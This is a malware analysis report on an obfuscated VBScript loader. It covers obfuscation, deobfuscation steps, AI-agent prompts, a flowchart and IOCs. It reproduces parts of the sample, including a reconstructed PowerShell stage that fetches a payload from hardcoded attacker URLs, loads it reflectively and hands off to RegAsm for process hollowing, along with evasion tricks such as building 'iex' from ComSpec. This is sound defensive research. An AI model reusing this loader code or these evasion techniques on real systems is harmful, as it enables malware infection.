Source
- Malware Bazaar: https://bazaar.abuse.ch/sample/06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245/
- File type: VBS
- Size: 27 KB
Analysis
Obfuscation
There were various forms of obfuscation used in the VBScript.
- Useless comments:
'eedfsfsdfadgfdgdefefefefsfdss
'jngkoFrm jmabkbfAh
- Dead code:
fkcmmdAFo = TimeSerial(7,9,9)
Public Const AceaAikd = "kdnpkicbm"
eFndckFd = TimeSerial(8,8,9)
Public Const fpkSermSF = "knmmdhg"
- String fragmentation:
Set wshNetwork = WScript.CreateObject( "WScript.Net" & "work" )
- Fragmented strings accumulated through a function:
Call Ugfdfging("%SYSTSeaemkhIhEMROOTSeaemkhIh%\System3SeaemkhIh2\WindowsSeaemkhIhPowerShSeaem")
Call Ugfdfging("khIhell\v1.0\pSeaemkhIhowershellSeaemkhIh.exe $j=1SeaemkhIh6-59;$hd3Seaemkh")
...
Function Ugfdfging (Mfgffdfdf97)
iobpedbghcf = iobpedbghcf & Mfgffdfdf97
End function
- Chr-code obfuscation via random number loop:
Set dfgddfgfddfgdd = CreateObject( mgmeAcdh(87) & "" & mgmeAcdh(83) & mgmeAcdh(99) & "ript.Shell" )
Function mgmeAcdh(frdpomAikI)
mgmeAcdh = "_"
Do Until asc(mgmeAcdh) = frdpomAikI
For i = 0 To 2
Next
Karfotifn5 = int(rnd*2000)
If Karfotifn5 < (258-3) then
mgmeAcdh = Chr(Karfotifn5)
end if
Loop
End Function
Deobfuscation
Utilities: https://github.com/nikhilh-20/re_tools/tree/main/vbs
> python .\vbs_strip_comments.py --input C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245.vbs --output C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass1.vbs
{"changed":126,"comment_lines_removed":126,"input_bytes":25742,"output_bytes":22632,"output_path":"C:\\Users\\Ashura\\Desktop\\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass1.vbs"}
> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass1.vbs --output C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass2.vbs --aggressive
{"changed":339,"input_bytes":22632,"output_bytes":12100,"output_path":"C:\\Users\\Ashura\\Desktop\\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass2.vbs"}
> python .\vbs_inline_sink_calls.py --input C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass2.vbs --output C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass3.vbs
{"calls_converted":114,"sink_defs_inlined":1,"input_bytes":12100,"output_bytes":13613,"output_path":"C:\\Users\\Ashura\\Desktop\\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass3.vbs"}
> python .\vbs_propagate_constants.py --input C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass3.vbs --output C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass4.vbs
{"changed":118,"substituted_reads":118,"input_bytes":13613,"output_bytes":529584,"output_path":"C:\\Users\\Ashura\\Desktop\\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass4.vbs"}
> python .\vbs_fold_concat.py --input C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass4.vbs --output C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass5.vbs
{"changed":121,"input_bytes":529584,"output_bytes":528749,"output_path":"C:\\Users\\Ashura\\Desktop\\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass5.vbs"}
> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass5.vbs --output C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass6.vbs
{"changed":119,"input_bytes":528749,"output_bytes":4760,"output_path":"C:\\Users\\Ashura\\Desktop\\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass6.vbs"}
Functionality
Prompt
/malware-analysis Analyze @C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass6.vbs. Write report in markdown format into @report.md It should contain the below sections:
1. Executive summary
2. Details - avoid variable names granularity. retain behavioral specifics like created folder names, C2 contact, etc.
3. IOCs
Reference the source code when stating functionality. Like:
```<source_code>```
<functionality>
Use multiple Haiku sub-agents to confirm your findings. Use web search to ground your facts and assumptions.
Flowchart Prompt
Based on @C:\Users\Ashura\Desktop\report.md, can a Mermaid flowchart be written into FLOW.mmd? Keep the flowchart in natural language. Avoid variable name granularity. You can retain created folder names and contacted C2
Flowchart
flowchart TD
Start([VBS script starts]) --> HostCheck{Computer name contains<br/>MAA1 / CAV / LNP2 / -PC?}
HostCheck -- Yes --> Exit1([Quit silently — do not run])
HostCheck -- No --> BuildShell[Spell out 'WScript.Shell' via a<br/>noisy brute-force character routine<br/>— junk filler for signature evasion]
BuildShell --> LaunchPS[Launch a hidden PowerShell process<br/>no visible window, does not wait for it]
LaunchPS --> Decode[Decode the embedded PowerShell command<br/>two-layer XOR + hex + Base64 decoding]
Decode --> BuildIex[Build the word 'iex' at runtime from<br/>characters pulled out of the ComSpec<br/>environment variable, then run the<br/>decoded script through it]
BuildIex --> SleepTLS[Wait 3 seconds, then force TLS 1.2<br/>for outgoing connections]
SleepTLS --> Download{Download a file named '3.jpg'<br/>from a randomly chosen source}
Download --> Src1[github.com/Orukemer/image<br/>releases download Image/3.jpg]
Download --> Src2[http://45.225.135.160/downloads/3.jpg]
Download --> Src3[http://107.174.251.112/img/3.jpg]
Src1 --> GotFile[Downloaded file received<br/>disguised as a JPEG image]
Src2 --> GotFile
Src3 --> GotFile
GotFile --> Extract[Extract a hidden .NET program from<br/>inside the image, found between<br/>literal '<<START>>' and '<<END>>' markers]
Extract --> LoadMem[Load that .NET program directly into<br/>memory — nothing is written to disk<br/>at this stage]
LoadMem --> RunMethod[Call into the loaded program, telling<br/>it to target a process named<br/>'RegAsm' running as 'x86']
RunMethod --> Decoy[Side action: list top 5 processes<br/>by CPU usage — harmless noise,<br/>unrelated to infection]
RunMethod --> Hollow[Start a legitimate Windows utility,<br/>RegAsm.exe 32-bit, in a suspended state]
Hollow --> Inject[Hollow it out and inject the<br/>final malicious payload into it]
Inject --> Resume[Resume the process so the injected<br/>code runs disguised as RegAsm.exe]
Resume --> Unknown([Final payload capability unknown —<br/>not retrievable during this static analysis])
Extract -.-> Note1[/Possible secondary staging link,<br/>moderate confidence: yaso.su/raw/F976GhLc/]
Report
Executive Summary
This VBScript is a lightweight first-stage loader. Before doing anything else it checks the infected machine’s computer name against a short list of substrings and silently exits if any match — a targeted-execution / exclusion guard rather than a broad sandbox check. It then builds the string "WScript.Shell" using a deliberately noisy, brute-force character-generation routine (pure signature-evasion filler with no functional purpose) and uses it to launch a hidden powershell.exe process.
The embedded PowerShell command is obfuscated with two layers of XOR/hex/Base64 encoding and, notably, builds the word "iex" (PowerShell’s alias for Invoke-Expression) at runtime by indexing three characters out of the %ComSpec% environment variable instead of writing iex/Invoke-Expression literally — a known technique for evading static string-based detections.
Once decoded, the PowerShell stage:
- Waits 3 seconds, then downloads a file from one of three hardcoded URLs (two raw IPs, one abusing a public GitHub “releases” asset), all disguised as a JPEG (
3.jpg). - Extracts a Base64-encoded .NET assembly embedded between literal
<<START>>/<<END>>markers inside the downloaded file (an image-polyglot / steganography-style delivery of the next stage). - Reflectively loads that assembly in-memory via a tiny helper class (deobfuscates to
PhantomGate/LoadAssembly) — no file is dropped to disk for this stage. - Invokes a method inside the loaded assembly, passing arguments that include the literal string
"RegAsm"and"x86", consistent with the common process-hollowing technique of spawning a legitimate signed .NET binary (RegAsm.exe) suspended and injecting the final payload into it.
Details
Host exclusion check (execution guard)
Set wshNetwork = WScript.CreateObject( "WScript.Network" )
gddsfgd = wshNetwork.ComputerName
If instr(ucase(gddsfgd), "MAA1") > 0 OR _
instr(ucase(gddsfgd), "CAV") > 0 OR _
instr(ucase(gddsfgd), "LNP2")> 0 OR _
instr(ucase(gddsfgd), "-PC") > 0 Then
WScript.Quit
End if
On launch, the script reads the local computer name and immediately terminates (WScript.Quit) if the uppercased hostname contains MAA1, CAV, LNP2, or -PC. This is a small, specific exclusion list rather than a generic “VM/sandbox” hostname check — the mix of what look like short site/branch codes (MAA1, CAV, LNP2) plus a generic -PC suffix suggests this build was tuned to avoid specific known machines or environments rather than to defeat malware sandboxes broadly.
Decoy/filler obfuscation to build "WScript.Shell"
Set dfgddfgfddfgdd = CreateObject( mgmeAcdh(87) & "" & mgmeAcdh(83) & mgmeAcdh(99) & "ript.Shell" )
...
Function mgmeAcdh(frdpomAikI)
mgmeAcdh = "_"
Do Until asc(mgmeAcdh) = frdpomAikI
For i = 0 To 2
Next
Karfotifn5 = int(rnd*2000)
If Karfotifn5 < (258-3) then
mgmeAcdh = Chr(Karfotifn5)
end if
Loop
End Function
mgmeAcdh(n) returns Chr(n) but does so via a brute-force loop that repeatedly generates random numbers with Rnd until it happens to land on the requested ASCII code, padded with a dead For i = 0 To 2 / Next loop. Functionally this is 100% equivalent to Chr(87) & Chr(83) & Chr(99) & "ript.Shell" = "WSc" + "ript.Shell" = "WScript.Shell". It exists purely to keep the literal string "WScript.Shell" (a common AV/heuristic signature trigger) out of the script body and to add noise/CPU-burning junk for basic static or timing-based analysis tools — it has no other effect.
Hidden PowerShell launch
dfgddfgfddfgdd.Run "%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe $j=16-59; ... ",0
The script runs PowerShell with window style 0 (hidden, no visible console) and does not wait for it to exit (WScript.Quit on line 40 ends the VBS host immediately after Run fires; the spawned powershell.exe keeps running independently). The command line itself is a single obfuscated PowerShell one-liner (decoded below).
Two-layer decode of the embedded PowerShell, and the iex-from-%ComSpec% trick
The one-liner defines a 10-character key (sjbpTXYgAk), derives two single-byte-repeating XOR keystreams from it (key XOR 0xAA, and key XOR 0x55), then:
- hex-decodes a ~940-byte blob and XORs it with the first keystream, and
- Base64-decodes a second blob (preceded by a
[regex]::Replace(...,'$opd2ikqz0','')call that is a no-op —$at the start of a .NET regex pattern is an end-of-string anchor, so the pattern can never match inside the Base64 text) and XORs the result with the second keystream, then concatenates the two decoded fragments into the real next-stage script and runs it with:
.($env:ComSpec[4,26,25]-join'') $ymEccw
$env:ComSpec is C:\Windows\system32\cmd.exe; characters at (0-indexed) offsets 4, 26, 25 are i, e, x, so this expression evaluates to iex and is then invoked with the call operator — equivalent to Invoke-Expression $ymEccw, but with the literal strings iex/Invoke-Expression absent from the script. This exact character-index technique against $env:ComSpec for dynamically constructing iex has been documented in other PowerShell-based malware (e.g., in “ClickFix”-style loaders) as a way to defeat literal-string detections.
Independently re-implementing this exact XOR/hex/Base64 logic against the actual blobs in the file decodes cleanly to valid PowerShell (confirmed twice — once directly, once by an independent re-implementation), reproduced functionally below:
function _i($s){ <base64-decode $s, XOR every byte with 0x72, UTF8-decode> } # small helper used to hide further strings
Start-Sleep -Seconds 3
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
# _i(...) decodes to a small C# source, compiled at runtime via Add-Type:
# public class PhantomGate {
# public static Assembly LoadAssembly(byte[] g){ return AppDomain.CurrentDomain.Load(g); }
# }
function d($urls){ # tries each URL in random order via WebClient.DownloadData until one succeeds
(Get-Random $urls -Count $urls.Count) | % { try { return (New-Object Net.WebClient).DownloadData($_) } catch {} }
}
function i($asmBytes,$typeName,$methodName,$args=@()){
# reflectively loads $asmBytes via PhantomGate.LoadAssembly, finds $typeName, gets $methodName
# (BindingFlags: Public,NonPublic,Static,Instance), instantiates if needed, and invokes it with $args
}
$urls = @(
"http://github.com/Orukemer/image/releases/download/Image/3.jpg",
"http://45.225.135.160/downloads/3.jpg",
"http://107.174.251.112/img/3.jpg"
)
if (($bytes = d $urls) -and (($text = [Text.Encoding]::UTF8.GetString($bytes)) -match "<<START>>(.*?)<<END>>")) {
i ([Convert]::FromBase64String($Matches[1])) "myprogram.Homees" "runss" @(<decoded-arg>, "0", "", "RegAsm", "0", "x86")
Get-Process | sort CPU -desc | select -first 5 | ft Name,CPU # decoy/noise action
}
Behavioral specifics revealed by the decode:
- Download stagers (image-disguised): the script downloads a file named
3.jpgfrom a randomly-chosen one of three sources — a GitHub “releases” asset (github.com/Orukemer/image) and two raw IP-hosted paths. The.jpgis not a real image for rendering purposes; it is a container whose real payload is a Base64-encoded .NET assembly sandwiched between the literal marker strings<<START>>and<<END>>. This “image polyglot” delivery is a common technique to blend malicious downloads in with benign-looking web traffic and bypass content-type-based filtering. - In-memory .NET loading, no disk drop for this stage: the extracted assembly bytes are loaded directly into the running PowerShell process via
AppDomain.CurrentDomain.Load(byte[])(wrapped in the tiny helper class that deobfuscates toPhantomGate) — never written to disk, reducing forensic/AV file-scanning footprint. - Process-hollowing hand-off to
RegAsm.exe: the loaded assembly’s entry method is invoked with argument values that decode to the literal strings"RegAsm"and"x86"alongside a first argument that is itself further-obfuscated (Base64+XOR, with an additional trimmed/reversed-looking string suggestive of a follow-on staging URL). Passing"RegAsm"/"x86"into a loader routine matches the well-documented pattern of spawning the legitimate, digitally-signed .NET utilityRegAsm.exein a suspended state and injecting final shellcode/PE content into it (process hollowing), so the malicious code ultimately executes under a trusted process name. - Decoy noise: the final line (
Get-Process | sort CPU -desc | select -first 5 | ft Name,CPU) has no bearing on infection and appears to be filler, consistent with the general pattern of gratuitous junk code seen throughout this sample (e.g., §2.2).
IOCs
- Network:
| Type | Value | Notes |
|---|---|---|
| URL | http://github[.]com/Orukemer/image/releases/download/Image/3.jpg |
Stage-2 stager, disguised as JPG, abuses a public GitHub releases asset |
| URL | http://45.225.135[.]160/downloads/3.jpg |
Stage-2 stager (raw IP), disguised as JPG |
| URL | http://107.174.251[.]112/img/3.jpg |
Stage-2 stager (raw IP), disguised as JPG |
| IPv4 | 45.225.135[.]160 |
Hosting stage-2 stager; not found in public threat-intel searches at time of writing |
| IPv4 | 107.174.251[.]112 |
Hosting stage-2 stager; not found in public threat-intel searches at time of writing |
| GitHub repo | github[.]com/Orukemer/image (release tag Image, asset 3.jpg) |
Abused for stage-2 hosting |
| Marker strings | <<START>>, <<END>> |
Delimiters used to locate the embedded Base64 .NET assembly inside the downloaded “jpg” |
- Host:
| Type | Value | Notes |
|—|—|—|
| Injection target |
RegAsm.exe(x86) | Literal strings decoded from the PowerShell stage; consistent with process-hollowing hand-off |